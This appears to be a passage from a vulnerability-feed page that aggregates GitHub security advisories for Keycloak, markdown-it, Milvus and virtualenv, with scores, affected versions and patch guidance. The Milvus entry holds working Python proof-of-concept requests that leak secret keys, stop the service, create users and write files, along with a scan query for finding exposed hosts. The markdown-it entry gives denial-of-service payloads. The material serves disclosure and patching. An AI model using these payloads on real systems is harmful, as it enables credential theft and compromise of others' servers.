Action: GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Keycloak has an improper input validation vulnerability
https://kevwire.com/record/CVE-2026-0976
Keycloak has an improper input validation vulnerability (Jan 15, 2026).
A flaw was found in Keycloak. This improper input validation vulnerability occurs because Keycloak accepts RFC-compliant matrix parameters in URL path segments, while common reverse proxy configurations may ignore or mishandle them. A remote attacker can craft requests to mask path segments, potentially bypassing proxy-level path filtering. This could expose administrative or sensitive endpoints that operators believe are not externally reachable.
CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-v897-pv23-r8cw).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0976&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-v897-pv23-r8cw: https://github.com/advisories/GHSA-v897-pv23-r8cw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0976&date=2026-10-25
A flaw was found in Keycloak. This improper input validation vulnerability occurs because Keycloak accepts RFC-compliant matrix parameters in URL path segments, while common reverse proxy configurations may ignore or mishandle them. A remote attacker can craft requests to mask path segments, potentially bypassing proxy-level path filtering. This could expose administrative or sensitive endpoints that operators believe are not externally reachable.

Affected package ranges reported by GitHub:
org.keycloak:keycloak-quarkus-server: <= 26.2.5
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Keycloak's identity-first login flow exposes user information
https://kevwire.com/record/CVE-2026-4633
Keycloak's identity-first login flow exposes user information (Mar 23, 2026).
A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration.
CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-rhgq-f8x5-j2jc).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-4633&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-rhgq-f8x5-j2jc: https://github.com/advisories/GHSA-rhgq-f8x5-j2jc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-4633&date=2026-10-25
A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration.

Affected package ranges reported by GitHub:
org.keycloak:keycloak-services: >= 26.5.0, < 26.6.1
org.keycloak:keycloak-services: < 26.4.12
Action: GitHub lists first patched versions: org.keycloak:keycloak-services: 26.6.1; org.keycloak:keycloak-services: 26.4.12. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Keycloak: Arbitrary code execution via Stored Cross-Site Scripting (XSS) in organization selection login page
https://kevwire.com/record/CVE-2026-37980
Keycloak: Arbitrary code execution via Stored Cross-Site Scripting (XSS) in organization selection login page (Apr 14, 2026).
A flaw was found in Keycloak, specifically in the organization selection login page. A remote attacker with `manage-realm` or `manage-organizations` administrative privileges can exploit a Stored Cross-Site Scripting (XSS) vulnerability. This flaw occurs because the `organization.alias` is placed into an inline JavaScript `onclick` handler, allowing a crafted JavaScript payload to execute in a user's browser when they view the login page. Successful exploitation enables arbitrary JavaScript execution, potentially leading to session theft, unauthorized account actions, or further attacks against users of the affected realm.
CVSS 6.9 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-m32f-8vh9-2hh3).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-37980&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-m32f-8vh9-2hh3: https://github.com/advisories/GHSA-m32f-8vh9-2hh3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-37980&date=2026-10-25
A flaw was found in Keycloak, specifically in the organization selection login page. A remote attacker with `manage-realm` or `manage-organizations` administrative privileges can exploit a Stored Cross-Site Scripting (XSS) vulnerability. This flaw occurs because the `organization.alias` is placed into an inline JavaScript `onclick` handler, allowing a crafted JavaScript payload to execute in a user's browser when they view the login page. Successful exploitation enables arbitrary JavaScript execution, potentially leading to session theft, unauthorized account actions, or further attacks against users of the affected realm.

Affected package ranges reported by GitHub:
org.keycloak:keycloak-services: <= 26.5.5
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Keycloak has Improper Access Control that allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false
https://kevwire.com/record/CVE-2026-4628
Keycloak has Improper Access Control that allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false (Mar 23, 2026).
A flaw was found in Keycloak. An improper Access Control vulnerability in Keycloak’s User-Managed Access (UMA) resource_set endpoint allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false restriction. This occurs due to incomplete enforcement of access control checks on PUT operations to the resource_set endpoint. This issue enables unauthorized modification of protected resources, impacting data integrity.
CVSS 4.3 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-4pgc-gfrr-wcmg).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-4628&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4pgc-gfrr-wcmg: https://github.com/advisories/GHSA-4pgc-gfrr-wcmg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-4628&date=2026-10-25
A flaw was found in Keycloak. An improper Access Control vulnerability in Keycloak’s User-Managed Access (UMA) resource_set endpoint allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false restriction. This occurs due to incomplete enforcement of access control checks on PUT operations to the resource_set endpoint. This issue enables unauthorized modification of protected resources, impacting data integrity.

Affected package ranges reported by GitHub:
org.keycloak:keycloak-services: <= 26.6.0
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### markdown-it linkify: true has two quadratic paths, so a few hundred KB of markdown blocks the event loop for tens of seconds
https://kevwire.com/record/GHSA-253c-mchw-3w2r
markdown-it linkify: true has two quadratic paths, so a few hundred KB of markdown blocks the event loop for tens of seconds (Sep 29, 2026).
Two independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads.

`src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A `http://` link gets consumed by the inline rule first and never arrives as a text token, so those stay linear.
CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-253c-mchw-3w2r).
Sources:
GitHub-reviewed advisory GHSA-253c-mchw-3w2r: https://github.com/advisories/GHSA-253c-mchw-3w2r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
## Summary

Two independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads.

`src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A `http://` link gets consumed by the inline rule first and never arrives as a text token, so those stay linear.

`src/rules_inline/linkify.ts` runs `state.pending.match(SCHEME_RE)` at every `://` in the source. `state.pending` only gets truncated once a link is actually produced, so an unregistered scheme leaves it growing and every `://` rescans the lot.

## Proof of concept

Clean install of 15.0.0 from npm, `new MarkdownIt({ linkify: true }).render(payload)`, Node 24.

| N | 5,000 | 10,000 | 20,000 | 40,000 |
|---|---|---|---|---|
| `'a@b.co\n'.repeat(N)`, 34KB to 273KB | 1.1s | 4.7s | 19.6s | 89s |
| `'a://'.repeat(N)`, 20KB to 156KB | 0.25s | 0.76s | 3.1s | 15.0s |

Doubling the input roughly quadruples the time in both. With `linkify: false` the same inputs run in 25 to 131ms and stay flat.

Controls for the first one, all at N=20000: putting every email in a single text token (`'a@b.co '`) takes 0.59s, one email per paragraph (`'a@b.co\n\n'`) takes 0.64s, and soft-broken lines with nothing linkifiable take 42ms. So it needs many children AND many of them linkifying. For the second, replaying just the `SCHEME_RE` calls against the same growing prefixes with no markdown-it involved accounts for 11.7s of the 15s.

Ordinary prose does it too. `'ping a@b.co ok\n'.repeat(20000)` is 293KB and takes 31s.

## Caveat

`linkify` is off by default, so this only reaches apps that turn it on.

## Impact

Availability only. A few hundred KB of fairly ordinary markdown pins one core for tens of seconds, and because it's quadratic it degrades quickly with size. Nothing is read, written or executed.

Affected package ranges reported by GitHub:
markdown-it: = 15.0.0
markdown-it: < 14.3.1
Action: GitHub lists first patched versions: markdown-it: 15.0.1; markdown-it: 14.3.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise
https://kevwire.com/record/CVE-2026-26190
Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise (Feb 11, 2026).
Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:

1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.
2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-7ppg-37fh-vcr6).
EPSS 39.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-7ppg-37fh-vcr6: https://github.com/advisories/GHSA-7ppg-37fh-vcr6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-25
## Summary

Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:

1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.
2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.

## Details

### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint

The `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:

- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc.
- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.
- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.

### Vulnerability 2: Unauthenticated REST API on Metrics Port

Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.

An attacker can perform any business operation without credentials, including:

- Creating, listing, and deleting collections
- Inserting and querying data
- Creating, listing, and deleting user credentials
- Modifying user passwords

## Proof of Concept

### PoC 1 — `/expr` Endpoint Exploitation

```python
import requests

url = "http:// :9091/expr"

# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
 "auth": "by-dev",
 "code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))

# Retrieve hashed credentials for the root user
res = requests.get(url, params={
 "auth": "by-dev",
 "code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))

# Denial of Service — stop the proxy
res = requests.get(url, params={
 "auth": "by-dev",
 "code": "proxy.Stop()"
}, timeout=5)

# Arbitrary file write (potential RCE)
for cmd in [
 'param.Save("proxy.accessLog.localPath", "/tmp")',
 'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
 'param.Save("proxy.accessLog.filename", "evil.sh")',
 'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
 requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
```

### PoC 2 — Unauthenticated REST API Access

```python
import requests

target_url = "http:// :9091"

# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
 "username": "attacker_user",
 "password": "MTIzNDU2Nzg5",
})
print(res.json())

# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}

# Create and delete collections, insert data — all without authentication
```

## Internet Exposure

A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:

```
http.body="404 page not found" && port="9091"
```

This indicates the vulnerability is actively exploitable in real-world production environments.

## Impact

An unauthenticated remote attacker with network access to port 9091 can:

1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.
2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.
3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges.
4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata.
5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.

## Remediation

### Recommended Fixes

1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.
2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.
3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.
4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.

### User Mitigations (until patched)

- Block external access to port 9091 using firewall rules or network policies.
- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.
- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).

## Credit

This vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).

Affected package ranges reported by GitHub:
github.com/milvus-io/milvus: < 2.5.27
github.com/milvus-io/milvus: >= 2.6.0, < 2.6.10
Action: GitHub lists first patched versions: github.com/milvus-io/milvus: 2.5.27; github.com/milvus-io/milvus: 2.6.10. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Generated files can follow existing destination links
https://kevwire.com/record/CVE-2026-113721
virtualenv: Generated files can follow existing destination links (Oct 22, 2026).
Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The
template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the
existing path directly.

Anthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-558c-9hv2-4prj).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113721&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-558c-9hv2-4prj: https://github.com/advisories/GHSA-558c-9hv2-4prj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113721&date=2026-10-25
## Summary

Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The
template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the
existing path directly.

Anthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Final file entries written during environment creation and seeding.

## Attacker-controlled input

